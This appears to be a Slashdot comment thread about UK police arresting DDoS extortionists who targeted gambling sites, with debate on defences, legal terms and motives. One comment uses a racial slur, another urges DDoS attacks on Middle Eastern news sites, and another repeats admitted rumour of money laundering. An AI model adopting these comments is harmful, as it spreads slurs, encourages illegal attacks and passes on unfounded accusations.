      I'm glad they were caught, because trying to recover from this kind of attack whilst very doable (yes children, you can cope with a DDOS, if you have a clue and a bit of bandwidth to play with), is expensive and a pain in the ass. These criminals were trying to target particular sporting events, but luckily were too unaware of the sporting calendar to really make much of it.

      I don't doubt we and our competitors will be under attack again by another bunch of illiterate über-hackers in the near future, but the NHTCU is making excellent progress in this area, and we have nothing but praise for them.

      (And for those of you thinking, "hey, gimme a tip", here it is:
      Keep Betting! Coz the bookie _always_ wins! ;-) )

  23. Oblig Python ref by Anonymous Coward · · Score: 0

    I'll not interrupt this online discussion, for a pound.

  24. Ouch... by nametaken · · Score: 2, Interesting


    As I understand it, Russia is a bad place to get busted for anything. I wonder what they do when the crime is in the 50k range.

    Anyone know anything about modern Russian legal?

    1. Re:Ouch... by Anonymous Coward · · Score: 0

      50K is nothing, really

      Russia actually has a lot more richer people than there are in North america.

      Have you seen how people dress in Moscow?
      Simply cannot compare to North America's casual to niggerly pants down.

      There are crimes which go for several billion $USD and nothing can be done about that because the criminals will steal the money and hide somewhere in Itally, Germany, France (not very popular for this). And it is hard to get those countries to cooperate.

      While everyone complains about Russia's small criminals, which by large are getting caught due to collaboration of Russian forces, Russia's big criminals are not getting caught becaues other countries are NOT COOPERATING WITH RUSSIA when it involves money going back to legal owners IN RUSSIA.

      just to let average /. er know what is going on

      ~omi

  25. and they actually asked for more by Anonymous Coward · · Score: 0

    It says 10k pounds, not dollars.

  26. Are you sure these guys are for real? by bigHairyDog · · Score: 0, Flamebait

    Why in hell would a National high-tech crime unit have a flash website? Worse than that, a single-page, 100% width scaling flash website.

    They clearly don't have geeks running the show there, which I'd have throught was the first prerequisite for an effective high-tech crime unit. Looks like Yet Another Paper-Thin Government Initiative to me.

    --

    foo mane padme hum

    1. Re:Are you sure these guys are for real? by Anonymous Coward · · Score: 0

      They are very real, I assure you, as I've met them. I work for a UK organisation that is part of the UK's critical national infrastructure, and have met Len Hynds, who is head of the NHTCU. They deliver considerable value for the UK and its international partners, especially when considering they have a low budget.

    2. Re:Are you sure these guys are for real? by Anonymous Coward · · Score: 0

      Me too, I used to work for a company that provided training in several IT areas (IT security, networking, windows/linux/unix security tools, data forensics, social engineering etc..)for the NHTCU staff; needless to say, the people making up the NHTCU have access to some world class experts in the relevant fields. The vast majority of them seem to be folks trying to do a good job and bringing some really nasty people to account.

    3. Re:Are you sure these guys are for real? by Yolegoman · · Score: 1

      Despite all you guys say, the website still sux. I would have expected better of them...

    4. Re:Are you sure these guys are for real? by aggiefalcon01 · · Score: 1

      So their website makes them look deceptively un-savvy. The Bad Guys see their website, and may make this assumption. You're saying this is A Bad Thing?

      --
      Global warming is neither science, nor politics. It is a religion.
  27. Re:Sad news ... sellfone, dead at 17 by novalogic · · Score: 1, Offtopic

    I know I'm going to get tagged for this, but I got to give the right info...

    Miles, aka sellfone, died at his home in Texas Sunday night. He was 24 I believe, not 17, as you can tell by clicking on this link http://www.slashnet.org/forums/Freedows-19980708.h tml

    Couldn't have been 9 years old in that log.

    He is an icon on Efnet, and the network admins have juped his name in honor of him.

    Rate this post as you will, but I just wanted to be sure a proper memorial was made. The BitchX crew has more information for the many who knew him.

    --nova

    --
    --
  28. pay back by chrisranjana.com · · Score: 0

    good. It is payback time.

    --
    Chris ,
    Php Programmers.
  29. And what about Spywareinfo? by Tuxedo+Jack · · Score: 1

    SWI went against the bastards who create scumware and spyware (in this case a pay-per-click search engine's Russian "affiliates") and got DDoSed for a month because they were inhibiting the profit of a criminal organization. Over $5,000 of damage was done (ask Mike Healan), and that's enough to qualify. Where's the action against the rats who perpetrated that?

    --

    Striking fear in the authors of godawful fanfiction, I am here, appearing in darkness, Tuxedo Jack!
  30. Nailing? by Anonymous Coward · · Score: 0

    British Authorities Nail Online Blackmailers

    Can I bring the hammer? Please?

    1. Re:Nailing? by Anonymous Coward · · Score: 0

      Interviewer: (off screen) He nailed you head to the floor?
      Vince: At first, yeah.

  31. MOD PARENT DOWN by Anonymous Coward · · Score: 0

    link to forum contains stinger

  32. Re:Sad news ... sellfone, dead at 17 by xk · · Score: 1

    novalogic, still have your rags from 1997?

  33. Come ON! by Anonymous Coward · · Score: 0

    Sure, obviously there are some serious criminals involved in these things occasionally, but the fact remains that this kind of thing is overwhelmingly the preserve of the luser skript-kiddie, and always will be!

    The mass media has been trying very hard to sell the EVIL COMPUTER-GENIUS HACKER shit to us ever since the Internet first came to the general public's attention. Bullshit like that will always sell more papers, or get more people to tune in.

    If I hear one more clueless fucking cab driver tell me that we're all going to be hacked by Evil Computer-Genius Hackers(tm), I'll fucking scream.

  34. Unscrupulous Hosting Firms by Anonymous Coward · · Score: 0

    What would stop hosting firms that charge customers .5 pence for every MB over the standard permitted monthy bandwidth from doing this to their own customers websites?

    1. Re:Unscrupulous Hosting Firms by YrWrstNtmr · · Score: 1

      The same thing that prevents any other business from, say, adding a nickel to everyones transactions. Ethics and the law.

  35. Why gambling sites? by nut · · Score: 1

    What I think is interesting is the fact that these (alleged) extortionists have been targeting online gambling businesses. Why these businesses particularly?

    I'm going to put forward a theory based on some completely unsubstantiated rumours I have heard. A mate of a mate of some bloke in the pub tells me that a lot of online gambling sites do at least a sideline in money laundering. That is, two people log onto the site, one 'loses' a large amount of money, the other 'wins' a similar amount of money at the same time.

    It might be that they were picking on businesses they thought wouldn't be too keen to talk to police.

    --
    Never trust a man in a blue trench coat, Never drive a car when you're dead
  36. Dear god... by subk · · Score: 0, Flamebait

    ...A slashdot link to a site whos front page is a flash interface that links you to a 1700kb PDF file?? Recipe for disaster.

    --
    Now, if you'll excuse me, I have backups to corrupt.
  37. Extortion by Anonymous Coward · · Score: 0

    It's extortion, not blackmail, numbnuts.

    1. Re:Extortion by WormholeFiend · · Score: 1

      yea really, the submitter should have included the IANACI disclaimer...

      (I Am Not A Criminal Investigator)

    2. Re:Extortion by DrunkEvilPenguin · · Score: 0

      Actually, these people are being charged with blackmail. In the Theft Act, 1968: 21 (1) A person is guilty of blackmail if, with a view to gain for himself or another or with intent to cause loss to another, he makes any unwarranted demand with menaces; and for this purpose a demand with menaces is unwarranted unless the person making it does so in the belief: (a) that he has reasonable grounds for making the demand; and (b) that the sue of the menaces is a proper means of reinforcing the demand (2) The nature of the act or omission is immaterial , and it is also immaterial whether the menaces relate to action to be taken by the person making the demand. (3) A person guilty of blakmail shall on conviction non indictment be liable to imprisonment for a term not exceeding fourteen years.

  38. Further.. by mindstrm · · Score: 1

    Yes, of COURSE there is such an infrastructure that can do the required analysis and block the traffic. Most ISPs do not have it at this point in time.

    Also, your ISP is not necessairly obligated to deal with this; it may be far cheaper for them, given the resources they would need to throw at this to keep their customer up, to simply drop the problem customer, which is what many did.
    Your ISP isn't necessairly going to add tens or hundreds of thousands of dollars in equipment and manpower and sacrifice half of their bandwidth just to keep your little site up unless you are paying them a small fortune.

  39. Oh brother.... by mindstrm · · Score: 2, Interesting


    Because they do money laundering? There may be the odd bookie out there who took some dirty money, but by and large this is total nonsense.

    You might be surprised the lengths many internet gambling places go to to prevent being used to launder money. The LAST thing any gaming shop wants is the international authorities busting down their door and shutting them down. It's already a good profitable business if done right.. there is no need to accept the increased risk of laundering money for a small extra profit.

    Also, in the scenario you painted... unless a lot of people do it, or the numbers are huge (in which case it would be noticed right away), there is nothing in it for the bookie above and beyond his normal customers anyway.

    That said, there are several reasons this industry was more vulnerable, and was a good choice for them to attack.

    - gambling sites operate outside the US & Canada, where it is MUCH harder to get solid hosting and tons of bandwidth.

    - The US authorities are still on the fence as to whether someone legally operating an online gambling business in another country taking action from americans is breaking US law or not.

    - Because of not operating in the US, and not wanting extra US exposure, online gambling shops generally don't talk to the US authorities.

    - Online gambling shops, specifically bookies, make their money in bursts. Being down for a weekend during NFL is really expensive. 3 hours of downtime could cost you the entire week's profits on a Saturday.

    - Many shops are small, independant, and not large organisations who have to justify their decisions to a board. Given the amount of money to be lost, paying $20,000 in order to not lose $100,000 is a fairly easy decision to make. pay up then investigate how you can avoid having this happen again later.

    It's like if someone robbed you on the street.. and instead of just taking your moeny said "Okay, I can either take all your money, every day, or you can give me $100 right now, and keep the other $900 in your wallet AND I won't bug you again until next year". In the long run, you had better learn how to fight.. but in the immediate short term, it's a good deal.

    There is a reason protection rackets work, both on and offline.

  40. zombies with no zombie masters by zogger · · Score: 1

    so, who "owns" the zombies now? Or are they just sitting there infected and someone else might find them and take them over? Is government sitting on them for some reason? Have all the 30,000 innocent victims from that direction been notified and gotten their machines cleaned up? Is anyone working on that probably tedious and daunting task?

    Ya, I know, a lot of questions, still, they are obvious to be asked at this point.

  41. US Dollars? by RunFromRobots · · Score: 1

    im assuming that they were asking for pounds or european currency not US Dollars? i know we like to think we're the center of the universe...but...?

  42. DDoS antiterror? by Anonymous Coward · · Score: 0

    i always wondered why no one ever used DDoS on those middle east "news" sites that are just propaganda. do the world a favor.

  43. Not for perversion, but for blackmail by Anonymous Coward · · Score: 0

    Will I get arrested for being a pervert?

    Jokes aside, if you try to make your sister pay you or do something unwanted by threatening to watch her change, then you won't be arrested for being a pervert (since you haven't done the watching yet), but you will be charged with blackmail. Same goes if you make someone else (e.g. your parents, her boyfriend) pay or do something unwanted by threatening to watch your sister change. It's blackmail, or extortion depending on the coutnry.

    -hadohk

  44. self-inflicted ddos wound by Anonymous Coward · · Score: 0

    Mass-mailing viruses create an interesting ddos affect, as well. Several worms were released at the beginning of last school year that severely affected our university. A few infected students plugged their computers into the LAN and the worms spread in a matter of hours to a quite a few more naive users. The worms quickly flooded our 9 Mb/s outside pipe with SMTP packets and even managed at their peak to almost completely choke the 100 Mb/s LAN. This was on a network with 1500 users, with possibly 10-20% infected. Some demographics have a unique talent for getting infected.

  45. "Britians" by ivixor_b · · Score: 1

    Britain's is what you want :(